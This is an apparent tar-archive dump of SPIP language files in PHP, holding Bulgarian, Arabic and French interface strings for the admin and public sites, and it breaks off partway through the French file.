'texte_plusieurs_articles' => 'Бяха намерени няколко автора за @cherche_auteur@:',
'texte_port_annuaire' => '(Обичайната стойност е подходяща като цяло.)',
'texte_presente_plugin' => 'На тази страница са указани наличните на сайта плъгини. Активирайте тези от тях, които Ви трябват, чрез отбелязване в съответната кутийка.',
'texte_proposer_publication' => 'Когато напишете статията,<br /> можете да я изпратите за публикуване.',
'texte_proxy' => 'В някои случаи (интранет, защитени мрежи и др.),
е нужно да се използва <i>HTTP прокси</i>, за да се достигне до обединените сайтове.
Ако има прокси, впишете адрес му отдолу по следния начин
<tt><html>http://proxy:8080</html></tt>. По принцип,
това поле се оставя празно.',
'texte_publication_articles_post_dates' => 'Какво би трябвало да направи СПИП във връзка със статии,
чиято публикация е зададена
за бъдеща дата?',
'texte_rappel_selection_champs' => '[Не забравяйте да изберете правилното поле.]',
'texte_recalcul_page' => 'Ако желаете да
презаредите само една страница, по-добре направете това от публичната зона, като използвате « бутона "Презареждане" ».',
'texte_recapitiule_liste_documents' => 'Тази страница обобщава списъка с документи, намиращи се из секциите. За да промените информацията в даден документ, преминете чрез препратката към страницата на неговата рубрика.',
'texte_recuperer_base' => 'Поправка на базата данни',
'texte_reference_mais_redirige' => 'свързана статия на Вашия СПИП сайт, но пренасочена към друг URL адрес.',
'texte_requetes_echouent' => '<b>Когато някои SQL справки
системно и без налична причина заочнат да се развалят, възможно е
базата данни сама да
го прави.</b>
<p>SQL има на разположение едно свойство за поправки на таблиците си
които случайно са развалени.
Можете да опитате да упражните тази поправка;
в случай, че това не стане, запазете копие на дисплея, който съдържа
указания за това, което е развалено.
<p>Ако проблемът все още е налице, обадете се
на Вашия хост.', # MODIF
'texte_selection_langue_principale' => 'Посочете по-долу основният език на сайта. За щастие, този избор не ограничава статиите Ви да бъдат написани на избран от Вас езит. Той позволявя да определите
<ul><li> формата по подразбиране на данните в публичния сайт</li>
<li> основата на типографските команди, която ще бъде използвана в СПИП за предоставянето на текста;</li>
<li> езикът, който се използва във формите на публичния сайт</li>
<li> езикът по подразбиране на данните в личната зона.</li></ul>',
'texte_sous_titre' => 'Подзаглавие',
'texte_statistiques_visites' => '(тъмни ивици: неделя / тъмна крива: средно развитие)',
'texte_statut_attente_validation' => 'за одобрение',
'texte_statut_publies' => 'публикувани на сайта',
'texte_statut_refuses' => 'отхвърлени',
'texte_suppression_fichiers' => 'Тази команда служи за изтриване на всички
файлове в кеш-паметта на СПИП. Това позволява да се актуализират принудително всички страници, в
случаи, когато са направени важни изменения в графиките или структурата на сайта.',
'texte_sur_titre' => 'Челно заглавие',
'texte_table_ok' => ' : тази таблица е добра.',
'texte_tables_indexation_vides' => 'Таблиците с индекси на търсачката са празни.',
'texte_tentative_recuperation' => 'Опит за поправка',
'texte_tenter_reparation' => 'Опит за поправка на базата данни',
'texte_test_proxy' => 'За да изпробвате дали работи проксито, впишете на това място
URL-a на желана Интернет страница.',
'texte_titre_02' => 'Тема:',
'texte_titre_obligatoire' => '<b>Заглавие</b> [Задължително]',
'texte_travail_article' => '@nom_auteur_modif@ е работил по статията преди @date_diff@ минути',
'texte_travail_collaboratif' => 'Ако се случва често няколко редактора да
работят по една и съща статия, системата
може да покаже наскоро отваряните статии,
с цел да избегнат едновременни промени.
Тази операция е изключена по начало,
с цел да не се показват излишни
предупредителни съобщения.',
'texte_trop_resultats_auteurs' => 'Твърде много намерени резултати за @cherche_auteur@; моля, прецизирайте търсенето.',
'texte_unpack' => 'Изтегляне на най-новата версия',
'texte_utilisation_moteur_syndiques' => 'При използване на търсачката, внедрена в СПИП, можете да търсите сайтове и статии, обединени по два начина. <br />- По-лесният е да търсите само в заглавията и описанията на статиите.<br />- Вторият начин, който е много по-ефективен, позволява на СПИП да търси в текста на свързаните сайтове. Ако свържете сайт към Вашия, СПИП ще търси в текста на съответния сайт.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Този метод кара СПИП често да посещава свързаните сайтове, които биха могли да предизвикат понижаване на представянето на собствения Ви сайт.',
'texte_vide' => 'празно',
'texte_vider_cache' => 'Изпразване на кеш-паметта',
'titre_admin_effacer' => 'Техническа поддръжка',
'titre_admin_tech' => 'Техническа поддръжка',
'titre_admin_vider' => 'Техническа поддръжка',
'titre_cadre_afficher_article' => 'Показване на статиите:',
'titre_cadre_afficher_traductions' => 'Показване статуса на превод на следния език:',
'titre_cadre_ajouter_auteur' => 'ДОБАВЯНЕ НА АВТОР:',
'titre_cadre_interieur_rubrique' => 'В рубрика',
'titre_cadre_numero_auteur' => 'НОМЕР НА АВТОРА',
'titre_cadre_signature_obligatoire' => '<b>Подпис</b> [Задължителен]<br />',
'titre_config_fonctions' => 'Конфигуриране на сайта',
'titre_configuration' => 'Конфигуриране на сайта',
'titre_connexion_ldap' => 'Възможности: <b>Вашата LDAP-връзка</b>',
'titre_groupe_mots' => 'ГРУПА ОТ КЛЮЧОВИ ДУМИ:',
'titre_langue_article' => 'ЕЗИК НА СТАТИЯТА', # MODIF
'titre_langue_rubrique' => 'ЕЗИК НА РУБРИКАТА', # MODIF
'titre_langue_trad_article' => 'ЕЗИК И ПРЕВОДИ НА СТАТИЯТА',
'titre_les_articles' => 'СТАТИИ',
'titre_naviguer_dans_le_site' => 'Търсене на сайта',
'titre_nouvelle_rubrique' => 'Нова рубрика',
'titre_numero_rubrique' => 'НОМЕР НА РУБРИКАТА:',
'titre_page_admin_effacer' => 'Техническа поддръжка: изтриване на базата данни',
'titre_page_articles_edit' => 'Промяна: @titre@',
'titre_page_articles_page' => 'Статии',
'titre_page_articles_tous' => 'Целият сайт',
'titre_page_auteurs' => 'Посетители',
'titre_page_calendrier' => 'Календар @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Конфигуриране на сайта',
'titre_page_config_fonctions' => 'Конфигуриране на сайта',
'titre_page_configuration' => 'Конфигуриране на сайта',
'titre_page_controle_petition' => 'Допълнения на молбите',
'titre_page_delete_all' => 'пълно и безвъзвратно изтриване',
'titre_page_documents_liste' => 'Рубрика "документи"',
'titre_page_index' => 'Лична зона',
'titre_page_message_edit' => 'Писане на съобщение',
'titre_page_messagerie' => 'Вашите съобщения',
'titre_page_recherche' => 'Резултати от търсенето @recherche@',
'titre_page_statistiques_referers' => 'Статистика (входящи препратки)',
'titre_page_upgrade' => 'Актуализация на СПИП',
'titre_publication_articles_post_dates' => 'Публикуване на статии с отминала дата',
'titre_referencer_site' => 'Свързване на сайта:',
'titre_rendez_vous' => 'СРЕЩИ:',
'titre_reparation' => 'Поправка',
'titre_suivi_petition' => 'Допълнения на молбите',
'trad_article_inexistant' => 'Не съществува статия с такъв номер',
'trad_article_traduction' => 'Всички версии на статията:',
'trad_deja_traduit' => 'Статията е вече преведена',
'trad_delier' => 'Отказ от свързване на статията с нейните преводи', # MODIF
'trad_lier' => 'Статията е превод на статия номер ',
'trad_new' => 'Писане на нов превод на статията', # MODIF
// U
'utf8_convert_attendez' => 'Почакайте няколко секунди и след това презаредете страницата.',
'utf8_convert_avertissement' => 'В процес сте да промените съдържанието на базата Ви от данни (статии, новини и др.) от езикова кодировка <b>@orig@</b> към <b>@charset@</b>.',
'utf8_convert_backup' => 'Не забравяйте първо да направите пълен архив на сайта. Проверете също, дали шаблоните и езиковите файлове са съвместими с @charset@. ',
'utf8_convert_erreur_deja' => 'Сайтът е вече в @charset@, няма смисъл да го преобразувате.',
'utf8_convert_erreur_orig' => 'Грешка: кодировката на символите @charset@ не се поддържа.',
'utf8_convert_termine' => 'Готово!',
'utf8_convert_timeout' => '<b>Важно:</b> в случай на <i>timeout</i> на сървъра, презаредете страницата и изчакайте докато тя укаже "готово".',
'utf8_convert_verifier' => 'Сега трябва да изпразните кеш-паметта на сайта и след това да проверите дали всичко е наред на публичните страници. Ако срещнете сериозен проблем, можете да откриете архив на оригиналната база от данни (във формат SQL) в директорията @rep@.',
'utf8_convertir_votre_site' => 'Превключете сайта си на utf-8',
// V
'version' => 'Версия:'
);
?>
public_ar.php 0000666 00000011174 15252547432 0007236 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'الصفحة الأساسية',
'article' => 'مقال',
'articles' => 'المقالات',
'articles_auteur' => 'مقالات هذا المؤلف',
'articles_populaires' => 'المقالات الأكثر شعبية',
'articles_rubrique' => 'مقالات هذا القسم',
'aucun_article' => 'لا توجد مقالات على هذا العنوان',
'aucun_auteur' => 'لا يوجد مؤلفون على هذا العنوان',
'aucun_site' => 'لا توجد مواقع على هذا العنوان',
'aucune_breve' => 'لا توجد أخبار على هذا العنوان',
'aucune_rubrique' => 'لا توجد أقسام على هذا العنوان',
'auteur' => 'مؤلف',
'autres' => 'آخرون',
'autres_breves' => 'أخبار أخرى',
'autres_groupes_mots_clefs' => 'مجموعات مفاتيح أخرى',
'autres_sites' => 'مواقع أخرى',
// B
'bonjour' => 'أهلاً وسهلاً',
// C
'commenter_site' => 'تعليق على هذا الموقع',
'contact' => 'للاتصال',
'copie_document_impossible' => 'لا يمكن نسخ المستند',
// D
'date' => 'التاريخ',
'dernier_ajout' => 'آخر إضافة',
'dernieres_breves' => 'آخر الأخبار',
'derniers_articles' => 'آخر المقالات',
'derniers_commentaires' => 'آخر التعليقات',
'derniers_messages_forum' => 'آخر المشاركات المنشورة في المنتديات',
// E
'edition_mode_texte' => 'النشرة في وضعية النصوص',
'en_reponse' => 'رداً على:',
'en_resume' => 'باختصار',
'envoyer_message' => 'إرسال مشاركة',
'espace_prive' => 'المجال الخاص',
// F
'formats_acceptes' => 'التنسيقات المسموحة: @formats@.',
// H
'hierarchie_site' => 'هرمية الموقع',
// J
'jours' => 'يوم',
// L
'lien_connecter' => 'دخول',
// M
'meme_auteur' => 'من نفس المؤلف',
'meme_rubrique' => 'في هذا القسم أيضاً',
'memes_auteurs' => 'من المؤلفين نفسهم ايضاً',
'message' => 'مشاركة',
'messages_forum' => 'مشاركة منتدى',
'messages_recents' => 'أحدث المشاركات',
'mots_clef' => 'مفتاح',
'mots_clefs' => 'المفاتيح',
'mots_clefs_meme_groupe' => 'المفاتيح الأخرى في هذه المجموعة',
// N
'navigation' => 'تصفح',
'nom' => 'الاسم',
'nouveautes' => 'الجديد',
'nouveautes_web' => 'الجديد على النسيج',
'nouveaux_articles' => 'المقالات الجديدة',
'nouvelles_breves' => 'الأخبار الجديدة',
// P
'page_precedente' => 'الصفحة السابقة',
'page_suivante' => 'الصفحة التالية',
'par_auteur' => 'بقلم ',
'participer_site' => 'يمكنك المشاركة في هذا الموقع، بالتسجيل أدناه ونشر مقالاتك. وبعد التسجيل، سوف تصلك رسالة فورية بالبريد الإلكتروني تتضمن معرفك الخاص الذي يسمح لك بالدخول الى المجال الخاص.',
'plan_site' => 'خريطة الموقع',
'popularite' => 'الشعبية',
'poster_message' => 'إبعث برسالة',
'proposer_site' => 'يمكنك افتراح إضافة موقع الى هذا القسم:',
// R
'repondre_article' => 'الرد على هذا المقال',
'repondre_breve' => 'الرد على هذا الخبر',
'resultats_recherche' => 'نتائج البحث',
'retour_debut_forums' => 'عودة الى بداية المنتديات',
'rubrique' => 'القسم',
'rubriques' => 'الأقسام',
// S
'signatures_petition' => 'التوقيعات',
'site_realise_avec_spip' => 'موقع صمم بنظام SPIP',
'sites_web' => 'مواقع النسيج',
'sous_rubriques' => 'الأقسام الفرعية',
'spam' => 'خنزرة',
'suite' => 'تتمة',
'sur_web' => 'على النسيج',
'syndiquer_rubrique' => 'ترخيص هذا القسم',
'syndiquer_site' => 'ترخيص كامل الموقع',
// T
'texte_lettre_information' => 'ها هي نشرة الموقع',
'texte_lettre_information_2' => 'تحصي هذه النشرة المقالات والأخبار المنشورة منذ ',
// V
'ver_imprimer' => 'نسخة للطباعة',
'voir_en_ligne' => 'عرض مباشر',
'voir_squelette' => 'عرض الصفحة النموذجية لهذه الصفحة'
);
?>
ecrire_fr.php 0000666 00000227654 15252547432 0007252 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://trac.rezo.net/spip/spip/ecrire/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activer le plugin',
'affichage' => 'Affichage',
'aide_non_disponible' => 'Cette partie de l’aide en ligne n’est pas encore disponible dans cette langue.',
'annuler_recherche' => 'Annuler la recherche',
'auteur' => 'Auteur :',
'avis_acces_interdit' => 'Accès interdit.',
'avis_article_modifie' => 'Attention, @nom_auteur_modif@ a travaillé sur cet article il y a @date_diff@ minutes',
'avis_aucun_resultat' => 'Aucun résultat.',
'avis_base_inaccessible' => 'Impossible de se connecter à la base de données @base@.',
'avis_chemin_invalide_1' => 'Le chemin que vous avez choisi',
'avis_chemin_invalide_2' => 'ne semble pas valide. Veuillez retourner à la page précédente et vérifier les informations fournies.',
'avis_connexion_echec_1' => 'La connexion à la base de données a échoué.',
'avis_connexion_echec_2' => 'Revenez à la page précédente, et vérifiez les informations que vous avez fournies.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sur de nombreux serveurs, vous devez <b>demander</b> l’activation de votre accès à la base de données avant de pouvoir l’utiliser. Si vous ne pouvez vous connecter, vérifiez que vous avez effectué cette démarche.',
'avis_connexion_erreur_nom_base' => 'Le nom de la base ne peut contenir que des lettres, des chiffres et des tirets',
'avis_connexion_ldap_echec_1' => 'La connexion au serveur LDAP a échoué.',
'avis_connexion_ldap_echec_2' => 'Revenez à la page précédente, et vérifiez les informations que vous avez fournies.',
'avis_connexion_ldap_echec_3' => 'Alternativement, n’utilisez pas le support LDAP pour importer des utilisateurs.',
'avis_deplacement_rubrique' => 'Attention ! Cette rubrique contient @contient_breves@ brève@scb@ : si vous la déplacez, veuillez cocher cette case de confirmation.',
'avis_destinataire_obligatoire' => 'Vous devez indiquer un destinataire avant d’envoyer ce message.',
'avis_erreur_connexion_mysql' => 'Erreur de connexion SQL',
'avis_erreur_version_archive' => '<b>Attention ! Le fichier @archive@ correspond à
une autre version de SPIP que celle que vous avez
installée.</b> Vous allez au-devant de grosses
difficultés : risque de destruction de votre base de
données, dysfonctionnements divers du site, etc. Ne
validez pas cette demande d’importation.<p>Pour plus
d’informations, voyez <a href="@spipnet@">
la documentation de SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Espace interdit</b><div>SPIP est déjà installé.</div>',
'avis_lecture_noms_bases_1' => 'Le programme d’installation n’a pas pu lire les noms des bases de données installées.',
'avis_lecture_noms_bases_2' => 'Soit aucune base n’est disponible, soit la fonction permettant de lister les bases a été désactivée
pour des raisons de sécurité (ce qui est le cas chez de nombreux hébergeurs).',
'avis_lecture_noms_bases_3' => 'Dans la seconde alternative, il est probable qu’une base portant votre nom de login soit utilisable :',
'avis_non_acces_message' => 'Vous n’avez pas accès à ce message.',
'avis_non_acces_page' => 'Vous n’avez pas accès à cette page.',
'avis_operation_echec' => 'L’opération a échoué.',
'avis_operation_impossible' => 'Opération impossible',
'avis_probleme_archive' => 'Problème de lecture du fichier @archive@',
'avis_suppression_base' => 'ATTENTION, la suppression des données est irréversible',
'avis_version_mysql' => 'Votre serveur SQL (@version_mysql@) ne permet pas l’auto-réparation des tables de la base.',
// B
'bouton_acces_ldap' => 'Ajouter l’accès à LDAP',
'bouton_ajouter' => 'Ajouter',
'bouton_ajouter_participant' => 'AJOUTER UN PARTICIPANT :',
'bouton_annonce' => 'ANNONCE',
'bouton_annuler' => 'Annuler',
'bouton_cache_activer' => 'Réactiver le cache',
'bouton_cache_desactiver' => 'Désactiver temporairement le cache',
'bouton_checkbox_envoi_message' => 'possibilité d’envoyer un message',
'bouton_checkbox_indiquer_site' => 'indiquer obligatoirement un site Web',
'bouton_checkbox_signature_unique_email' => 'une seule signature par adresse email',
'bouton_checkbox_signature_unique_site' => 'une seule signature par site Web',
'bouton_demande_publication' => 'Demander la publication de cet article',
'bouton_desactive_tout' => 'Tout désactiver',
'bouton_desinstaller' => 'Désinstaller',
'bouton_effacer_index' => 'Effacer les index',
'bouton_effacer_tout' => 'Effacer TOUT',
'bouton_envoi_message_02' => 'ENVOYER UN MESSAGE',
'bouton_envoyer_message' => 'Message définitif : envoyer',
'bouton_fermer' => 'Fermer',
'bouton_mettre_a_jour_base' => 'Mettre à jour la base de données',
'bouton_modifier' => 'Modifier',
'bouton_pense_bete' => 'PENSE-BÊTE À USAGE PERSONNEL',
'bouton_radio_activer_messagerie' => 'Activer la messagerie interne',
'bouton_radio_activer_messagerie_interne' => 'Activer la messagerie interne',
'bouton_radio_activer_petition' => 'Activer la pétition',
'bouton_radio_afficher' => 'Afficher',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Apparaître dans la liste des rédacteurs connectés',
'bouton_radio_desactiver_messagerie' => 'Désactiver la messagerie',
'bouton_radio_envoi_annonces_adresse' => 'Envoyer les annonces à l’adresse :',
'bouton_radio_envoi_liste_nouveautes' => 'Envoyer la liste des nouveautés',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Ne pas apparaître dans la liste des rédacteurs',
'bouton_radio_non_envoi_annonces_editoriales' => 'Ne pas envoyer d’annonces éditoriales',
'bouton_radio_pas_petition' => 'Pas de pétition',
'bouton_radio_petition_activee' => 'Pétition activée',
'bouton_radio_supprimer_petition' => 'Supprimer la pétition',
'bouton_redirection' => 'REDIRECTION',
'bouton_relancer_installation' => 'Relancer l’installation',
'bouton_suivant' => 'Suivant',
'bouton_tenter_recuperation' => 'Tenter une réparation',
'bouton_test_proxy' => 'Essayer le proxy',
'bouton_vider_cache' => 'Vider le cache',
'bouton_voir_message' => 'Voir ce message avant de le valider',
// C
'cache_mode_compresse' => 'Les fichiers du cache sont enregistrés en mode compressé.',
'cache_mode_non_compresse' => 'Les fichiers du cache sont enregistrés en mode non compressé.',
'cache_modifiable_webmestre' => 'Ce paramètre est modifiable par le webmestre du site.',
'calendrier_synchro' => 'Si vous utilisez un logiciel d’agenda compatible <b>iCal</b>, vous pouvez le synchroniser avec les informations de ce site.',
'config_activer_champs' => 'Activer les champs suivants',
'config_choix_base_sup' => 'indiquer une base sur ce serveur',
'config_erreur_base_sup' => 'SPIP n’a pas accès à la liste des bases accessibles',
'config_info_base_sup' => 'Si vous avez d’autres bases de données à interroger à travers SPIP, avec son serveur SQL ou avec un autre, le formulaire ci-dessous, vous permet de les déclarer. Si vous laissez certains champs vides, les identifiants de connexion à la base principale seront utilisés.',
'config_info_base_sup_disponibles' => 'Bases supplémentaires déjà interrogeables :',
'config_info_enregistree' => 'La nouvelle configuration a été enregistrée',
'config_info_logos' => 'Chaque élément du site peut avoir un logo, ainsi qu’un « logo de survol »',
'config_info_logos_utiliser' => 'Utiliser les logos',
'config_info_logos_utiliser_non' => 'Ne pas utiliser les logos',
'config_info_logos_utiliser_survol' => 'Utiliser les logos de survol',
'config_info_logos_utiliser_survol_non' => 'Ne pas utiliser les logos de survol',
'config_info_redirection' => 'En activant cette option, vous pourrez créer des articles virtuels, simples références d’articles publiés sur d’autres sites ou hors de SPIP.',
'config_redirection' => 'Articles virtuels',
'config_titre_base_sup' => 'Déclaration d’une base supplémentaire',
'config_titre_base_sup_choix' => 'Choisissez une base supplémentaire',
'connexion_ldap' => 'Connexion :',
'copier_en_local' => 'Copier en local',
'creer_et_associer_un_auteur' => 'Créer et associer un auteur',
'creer_et_associer_une_rubrique' => 'Créer et associer une rubrique',
// D
'date_mot_heures' => 'heures',
// E
'ecran_securite' => ' + écran de sécurité @version@',
'email' => 'email',
'email_2' => 'email :',
'en_savoir_plus' => 'En savoir plus',
'entree_adresse_annuaire' => 'Adresse de l’annuaire',
'entree_adresse_email' => 'Votre adresse email',
'entree_adresse_email_2' => 'Adresse email',
'entree_base_donnee_1' => 'Adresse de la base de données',
'entree_base_donnee_2' => '(Souvent cette adresse correspond à celle de votre site, parfois elle correspond à la mention « localhost », parfois elle est laissée totalement vide.)',
'entree_biographie' => 'Courte biographie en quelques mots.',
'entree_chemin_acces' => '<b>Entrer</b> le chemin d’accès :',
'entree_cle_pgp' => 'Votre clé PGP',
'entree_cle_pgp_2' => 'Clé PGP',
'entree_contenu_rubrique' => '(Contenu de la rubrique en quelques mots.)',
'entree_identifiants_connexion' => 'Vos identifiants de connexion...',
'entree_identifiants_connexion_2' => 'Identifiants de connexion',
'entree_informations_connexion_ldap' => 'Veuillez entrer dans ce formulaire les informations de connexion à votre annuaire LDAP.
Ces informations doivent pouvoir vous être fournies par l’administrateur du système,
ou du réseau.',
'entree_infos_perso' => 'Qui êtes-vous ?',
'entree_infos_perso_2' => 'Qui est l’auteur ?',
'entree_interieur_rubrique' => 'À l’intérieur de la rubrique :',
'entree_liens_sites' => '<b>Lien hypertexte</b> (référence, site à visiter...)',
'entree_login' => 'Votre login',
'entree_login_connexion_1' => 'Le login de connexion',
'entree_login_connexion_2' => '(Correspond parfois à votre login d’accès au FTP ; parfois laissé vide)',
'entree_login_ldap' => 'Login LDAP initial',
'entree_mot_passe' => 'Votre mot de passe',
'entree_mot_passe_1' => 'Le mot de passe de connexion',
'entree_mot_passe_2' => '(Correspond parfois à votre mot de passe pour le FTP ; parfois laissé vide)',
'entree_nom_fichier' => 'Veuillez entrer le nom du fichier @texte_compresse@ :',
'entree_nom_pseudo' => 'Votre nom ou votre pseudo',
'entree_nom_pseudo_1' => '(Votre nom ou votre pseudo)',
'entree_nom_pseudo_2' => 'Nom ou pseudo',
'entree_nom_site' => 'Le nom de votre site',
'entree_nom_site_2' => 'Nom du site de l’auteur',
'entree_nouveau_passe' => 'Nouveau mot de passe',
'entree_passe_ldap' => 'Mot de passe',
'entree_port_annuaire' => 'Le numéro de port de l’annuaire',
'entree_signature' => 'Signature',
'entree_titre_obligatoire' => '<b>Titre</b> [Obligatoire]<br />',
'entree_url' => 'L’adresse (URL) de votre site',
'entree_url_2' => 'Adresse (URL) du site',
'erreur_connect_deja_existant' => 'Un serveur existe déjà avec ce nom',
'erreur_email_deja_existant' => 'Cette adresse email est déjà enregistrée.',
'erreur_nom_connect_incorrect' => 'Ce nom de serveur n’est pas autorisé',
'erreur_plugin_desinstalation_echouee' => 'La désinstallation du plugin a échoué. Vous pouvez néanmoins le désactiver.',
'erreur_plugin_fichier_absent' => 'Fichier absent',
'erreur_plugin_fichier_def_absent' => 'Fichier de définition absent',
'erreur_plugin_nom_fonction_interdit' => 'Nom de fonction interdit',
'erreur_plugin_nom_manquant' => 'Nom du plugin manquant',
'erreur_plugin_prefix_manquant' => 'Espace de nommage du plugin non défini',
'erreur_plugin_tag_plugin_absent' => '<plugin> manquant dans le fichier de définition',
'erreur_plugin_version_manquant' => 'Version du plugin manquante',
// H
'htaccess_a_simuler' => 'Avertissement : la configuration de votre serveur HTTP ne tient pas compte des fichiers @htaccess@. Pour pouvoir assurer une bonne sécurité, il faut que vous modifiiez cette configuration sur ce point, ou bien que les constantes @constantes@ (définissables dans le fichier mes_options.php) aient comme valeur des répertoires en dehors de @document_root@.',
'htaccess_inoperant' => 'htaccess inopérant',
// I
'ical_info1' => 'Cette page présente plusieurs méthodes pour rester en contact avec la vie de ce site.',
'ical_info2' => 'Pour plus de renseignements sur toutes ces techniques, n’hésitez pas à consulter <a href="@spipnet@">la documentation de SPIP</a>.',
'ical_info_calendrier' => 'Deux calendriers sont à votre disposition. Le premier est un plan du site annonçant tous les articles publiés. Le second contient les annonces éditoriales ainsi que vos derniers messages privés : il vous est réservé grâce à une clé personnelle, que vous pouvez modifier à tout moment en renouvelant votre mot de passe.',
'ical_methode_http' => 'Téléchargement',
'ical_methode_webcal' => 'Synchronisation (webcal ://)',
'ical_texte_js' => 'Une ligne de javascript vous permet d’afficher très simplement, sur n’importe quel site vous appartenant, les articles récents publiés sur ce site.',
'ical_texte_prive' => 'Ce calendrier, à usage strictement personnel, vous informe de l’activité éditoriale privée de ce site (tâches et rendez-vous personnels, articles et brèves proposés...).',
'ical_texte_public' => 'Ce calendrier vous permet de suivre l’activité publique de ce site (articles et brèves publiés).',
'ical_texte_rss' => 'Vous pouvez syndiquer les nouveautés de ce site dans n’importe quel lecteur de fichiers au format XML/RSS (Rich Site Summary). C’est aussi le format qui permet à SPIP de lire les nouveautés publiées sur d’autres sites utilisant un format d’échange compatible (sites syndiqués).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'Fichiers de syndication',
'icone_accueil' => 'Accueil',
'icone_activer_cookie' => 'Activer le cookie de correspondance',
'icone_activite' => 'Activité',
'icone_admin_plugin' => 'Gestion des plugins',
'icone_administration' => 'Maintenance',
'icone_afficher_auteurs' => 'Afficher les auteurs',
'icone_afficher_visiteurs' => 'Afficher les visiteurs',
'icone_arret_discussion' => 'Ne plus participer à cette discussion',
'icone_calendrier' => 'Calendrier',
'icone_configuration' => 'Configuration',
'icone_creer_auteur' => 'Créer un nouvel auteur et l’associer à cet article',
'icone_creer_mot_cle' => 'Créer un nouveau mot-clé et le lier à cet article',
'icone_creer_mot_cle_rubrique' => 'Créer un nouveau mot-clé et le lier à cette rubrique',
'icone_creer_mot_cle_site' => 'Créer un nouveau mot-clé et le lier à ce site',
'icone_creer_rubrique_2' => 'Créer une nouvelle rubrique',
'icone_edition' => 'Édition',
'icone_envoyer_message' => 'Envoyer ce message',
'icone_ma_langue' => 'Ma langue',
'icone_mes_infos' => 'Mes informations',
'icone_mes_preferences' => 'Mes préférences',
'icone_modifier_article' => 'Modifier cet article',
'icone_modifier_message' => 'Modifier ce message',
'icone_modifier_rubrique' => 'Modifier cette rubrique',
'icone_publication' => 'Publication',
'icone_relancer_signataire' => 'Relancer le signataire',
'icone_retour' => 'Retour',
'icone_retour_article' => 'Retour à l’article',
'icone_squelette' => 'Squelettes',
'icone_suivi_publication' => 'Suivi de la publication',
'icone_supprimer_cookie' => 'Supprimer le cookie de correspondance',
'icone_supprimer_rubrique' => 'Supprimer cette rubrique',
'icone_supprimer_signature' => 'Supprimer cette signature',
'icone_valider_signature' => 'Valider cette signature',
'image_administrer_rubrique' => 'Vous pouvez administrer cette rubrique',
'impossible_modifier_login_auteur' => 'Impossible de modifier le login.',
'impossible_modifier_pass_auteur' => 'Impossible de modifier le mot de passe.',
'info_1_article' => '1 article',
'info_1_article_syndique' => '1 article syndiqué',
'info_1_auteur' => '1 auteur',
'info_1_message' => '1 message',
'info_1_mot_cle' => '1 mot-clé',
'info_1_rubrique' => '1 rubrique',
'info_1_site' => '1 site',
'info_1_visiteur' => '1 visiteur',
'info_activer_cookie' => 'Vous pouvez activer un <b>cookie de correspondance</b>, ce qui vous
permettra de passer facilement du site public au site privé.',
'info_admin_etre_webmestre' => 'Me donner les droits de webmestre',
'info_admin_gere_rubriques' => 'Cet administrateur gère les rubriques suivantes :',
'info_admin_gere_toutes_rubriques' => 'Cet administrateur gère <b>toutes les rubriques</b>',
'info_admin_gere_toutes_rubriques_2' => 'Je gère <b>toutes les rubriques</b>',
'info_admin_je_suis_webmestre' => 'Je suis <b>webmestre</b>',
'info_admin_statuer_webmestre' => 'Donner à cet administrateur les droits de webmestre',
'info_admin_webmestre' => 'Cet administrateur est <b>webmestre</b>',
'info_administrateur' => 'Administrateur',
'info_administrateur_1' => 'Administrateur',
'info_administrateur_2' => 'du site (<i>utilisez avec précaution</i>)',
'info_administrateur_site_01' => 'Si vous êtes administrateur du site, veuillez',
'info_administrateur_site_02' => 'cliquer sur ce lien',
'info_administrateurs' => 'Administrateurs',
'info_administrer_rubrique' => 'Vous pouvez administrer cette rubrique',
'info_adresse' => 'à l’adresse :',
'info_adresse_url' => 'Adresse (URL) du site public',
'info_afficher_par_nb' => 'Afficher par',
'info_afficher_visites' => 'Afficher les visites pour :',
'info_aide_en_ligne' => 'Aide en ligne SPIP',
'info_ajout_image' => 'Lorsque vous ajoutez des images en tant que documents joints à un article,
SPIP peut créer pour vous, automatiquement, des vignettes (miniatures) des
images insérées. Cela permet par exemple de créer
automatiquement une galerie ou un portfolio.',
'info_ajout_participant' => 'Le participant suivant est ajouté :',
'info_ajouter_rubrique' => 'Ajouter une autre rubrique à administrer :',
'info_annonce_nouveautes' => 'Annonce des nouveautés',
'info_anterieur' => 'antérieure',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Les articles post-datés à paraître',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Les articles de cet auteur',
'info_articles_miens' => 'Mes articles',
'info_articles_tous' => 'Tous les articles',
'info_articles_trouves' => 'Articles trouvés',
'info_articles_trouves_dans_texte' => 'Articles trouvés (dans le texte)',
'info_attente_validation' => 'Vos articles en attente de validation',
'info_aucun_article' => 'Aucun article',
'info_aucun_article_syndique' => 'Aucun article syndiqué',
'info_aucun_auteur' => 'Aucun auteur',
'info_aucun_message' => 'Aucun message',
'info_aucun_rubrique' => 'Aucune rubrique',
'info_aucun_site' => 'Aucun site',
'info_aucun_visiteur' => 'Aucun visiteur',
'info_aujourdhui' => 'aujourd’hui :',
'info_auteur_message' => 'AUTEUR DU MESSAGE :',
'info_auteurs' => 'Les auteurs',
'info_auteurs_par_tri' => 'Auteurs@partri@',
'info_auteurs_trouves' => 'Auteurs trouvés',
'info_authentification_externe' => 'Authentification externe',
'info_avertissement' => 'Avertissement',
'info_barre_outils' => 'avec sa barre d’outils ?',
'info_base_installee' => 'La structure de votre base de données est installée.',
'info_bio' => 'Biographie',
'info_cache_desactive' => 'Le cache est temporairement désactivé.',
'info_chapeau' => 'Chapeau',
'info_chapeau_2' => 'Chapeau :',
